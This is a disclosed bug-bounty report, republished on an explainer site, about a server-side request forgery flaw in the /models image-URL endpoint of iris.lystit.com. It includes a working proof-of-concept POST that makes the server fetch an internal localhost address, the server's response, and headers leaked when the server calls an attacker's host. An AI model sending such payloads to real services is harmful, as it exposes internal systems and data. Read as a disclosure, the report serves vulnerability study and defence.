Skip to content
SSRF Disclosed report Beginner

SSRF at iris.lystit.com

The /models endpoint accepted a user-supplied image URL and fetched it server-side without validation, allowing an unauthenticated attacker to make arbitrary HTTP GET requests to internal hosts and resources. This could be used to scan ports and potentially bypass restrictions for incoming requests.

tripwire Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 25 days
  • Paid in 5 days
  • Disclosed after 8 months

###Server Side Request Forgery

Host: iris.lystit.com Route: /models

Summary This vulnerability allows unauthenticated attacker to make arbitrary server-side HTTP GET requests, e.g. issue HTTP-requests to internal hosts and resources, limitedly scan ports, potentially bypass some restrictions for incoming requests, etc.

###PoC Reaching same REST application via local IP 127.0.0.1 at port 8080:

POST /models/default/classification/color HTTP/1.1
Host: iris.lystit.com
Accept: application/json
Content-Length: 111
Content-Type: application/json
Connection: close

{
    "images": ["http://127.0.0.1:8080/static/rest_framework_swagger/images/wordnik_api.86c91314ec1a.png"]
}

Response:

HTTP/1.1 200 OK
Allow: POST, OPTIONS
Content-Type: application/json
Date: Thu, 16 Feb 2017 13:05:28 GMT
Vary: Cookie
X-Frame-Options: SAMEORIGIN
Content-Length: 76
Connection: Close

{"data":{"color":{"probability":"0.903368339285","id":12,"value":"orange"}}}

Requesting attacker-controlled host leaks IP and these headers:

Request: GET / HTTP/1.0
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.7.0 CPython/2.7.6 Linux/3.13.0-108-generic
X-NewRelic-ID: VgQPVFBTGwIGXFdQDwAC
X-NewRelic-Transaction: PxQEBwVQDQoEAldbVQMPXlBSFB8EBw8RVU4aUV5bBwcKUV9XCAMBWlwCVENKQQ8AUgdXUw9VFTs=

###Possible Mitigation Measures

Add whitelist to allow use of only trusted domains.

The original report as published on HackerOne, by tripwire. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application fetched user-supplied URLs without validating or restricting them to trusted domains.

What the attacker needed

None

How it was found

  1. Send a POST request to /models/default/classification/color with a JSON body containing an image URL pointing to an internal address.
  2. Observe that the server responds successfully, indicating it fetched the internal resource.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website had a feature that took an image link from the user and downloaded it on the server. Because it did not check where the link pointed, an attacker could give it a link to an internal address, like the server's own localhost, and the server would fetch it. This lets the attacker use the server as a proxy to reach things normally hidden from the internet.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by tripwire

View all

1 more disclosed report, best first.

More from Lyst

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.